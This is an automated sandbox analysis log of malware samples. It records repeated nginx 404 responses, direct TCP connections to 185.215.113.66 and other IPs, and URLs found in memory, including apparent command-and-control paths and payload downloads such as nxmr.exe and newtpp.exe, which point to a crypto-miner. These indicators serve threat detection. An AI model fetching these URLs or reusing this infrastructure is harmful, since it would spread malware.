Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:32 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:35 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:40 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:42 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:44 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:46 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 88.200.240.149
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 88.200.240.149
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 88.200.240.149
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 87.255.212.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 87.255.212.22
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.66

Source: sysesvcmw.exe, 00000005.00000002.889397033.00000000002F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Http://185.215.113.66/5
Source: sysesvcmw.exe, sysesvcmw.exe, 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmp	String found in binary or memory: http://185.215.113.66/
Source: sysesvcmw.exe, 00000005.00000002.889397033.00000000002C5000.00000004.00000020.00020000.00000000.sdmp, sysesvcmw.exe, 00000005.00000002.889397033.0000000000274000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1
Source: sysesvcmw.exe, 00000005.00000002.889397033.0000000000274000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1C:
Source: sysesvcmw.exe, 00000005.00000002.889397033.00000000002A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/1bbC:
Source: sysesvcmw.exe, 00000005.00000002.889397033.00000000002F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/2
Source: 2550821914.exe, 00000004.00000000.370258337.0000000000414000.00000008.00000001.01000000.00000004.sdmp, 2550821914.exe, 00000004.00000002.381787142.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, 2550821914.exe, 00000004.00000002.381777020.0000000000414000.00000008.00000001.01000000.00000004.sdmp, sysesvcmw.exe, 00000005.00000000.379474721.0000000000414000.00000008.00000001.01000000.00000005.sdmp, sysesvcmw.exe, 00000005.00000002.889540457.0000000000414000.00000004.00000001.01000000.00000005.sdmp, sysesvcmw.exe, 00000006.00000002.409120956.0000000000414000.00000008.00000001.01000000.00000005.sdmp	String found in binary or memory: http://185.215.113.66/2u9o0b7n
Source: sysesvcmw.exe, 00000005.00000002.889397033.00000000002F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/3
Source: sysesvcmw.exe, 00000005.00000002.889397033.00000000002F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/4
Source: sysesvcmw.exe, 00000005.00000002.889729405.000000000247C000.00000004.00000010.00020000.00000000.sdmp, sysesvcmw.exe, 00000005.00000002.889397033.00000000002A9000.00000004.00000020.00020000.00000000.sdmp, sysesvcmw.exe, 00000005.00000002.889397033.00000000002F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5
Source: sysesvcmw.exe, 00000005.00000002.889729405.000000000247C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/5G
Source: 1925824589.exe, 1925824589.exe, 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmp, 1925824589.exe, 00000009.00000002.892928931.0000000002A5B000.00000004.00000010.00020000.00000000.sdmp, 1925824589.exe, 00000009.00000002.889442870.00000000003BD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/
Source: 1925824589.exe, 00000009.00000002.891717748.0000000000464000.00000004.00000020.00020000.00000000.sdmp, 1925824589.exe, 00000009.00000002.892928931.0000000002A5B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/706.txt
Source: 1925824589.exe, 00000009.00000002.891717748.0000000000464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/706.txtn
Source: 1925824589.exe, 00000009.00000002.892928931.0000000002A5B000.00000004.00000010.00020000.00000000.sdmp, 1925824589.exe, 00000009.00000002.889442870.00000000003BD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/H
Source: 1925824589.exe, 00000009.00000002.892759245.0000000000EA6000.00000004.00000001.01000000.00000006.sdmp	String found in binary or memory: http://185.215.113.66/from/Tmlr
Source: 1925824589.exe, 00000009.00000002.892928931.0000000002A5B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/http://185.215.113.66/from/n.txtB
Source: 1925824589.exe, 00000009.00000002.891717748.0000000000464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/n.txt
Source: 1925824589.exe, 00000009.00000002.891717748.0000000000464000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/from/n.txtz
Source: sysesvcmw.exe, 00000005.00000002.889397033.00000000002C5000.00000004.00000020.00020000.00000000.sdmp, sysesvcmw.exe, 00000005.00000002.889684292.0000000001EB1000.00000004.00000020.00020000.00000000.sdmp, sysesvcmw.exe, 00000005.00000002.889397033.000000000029E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/getxmr
Source: sysesvcmw.exe, 00000005.00000002.889397033.00000000002C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/getxmr%
Source: sysesvcmw.exe, 00000005.00000002.889684292.0000000001EB1000.00000004.00000020.00020000.00000000.sdmp, 150623101.exe, 150623101.exe, 0000000B.00000002.882391738.0000000000022000.00000002.00000001.01000000.00000007.sdmp, 150623101.exe, 0000000B.00000002.882455060.000000000042D000.00000004.00000020.00020000.00000000.sdmp, 150623101.exe, 0000000B.00000000.862714425.0000000000022000.00000002.00000001.01000000.00000007.sdmp, 150623101.exe, 0000000B.00000002.882455060.00000000003F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.66/nxmr.exe
Source: 1925824589.exe, 1925824589.exe, 00000009.00000000.536791505.0000000000EA4000.00000002.00000001.01000000.00000006.sdmp, 1925824589.exe, 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmp, 1925824589.exe, 00000009.00000002.891717748.000000000049C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
Source: 1925824589.exe, 00000009.00000000.536791505.0000000000EA4000.00000002.00000001.01000000.00000006.sdmp, 1925824589.exe, 00000009.00000002.892732980.0000000000EA4000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: http://icanhazip.com/.
Source: sysesvcmw.exe, 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sysesvcmw.exe, 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: gEkl9O5tiu.exe, gEkl9O5tiu.exe, 00000001.00000002.379592341.0000000000714000.00000004.00000020.00020000.00000000.sdmp, gEkl9O5tiu.exe, 00000001.00000002.379592341.000000000073C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://twizt.net/newtpp.exe
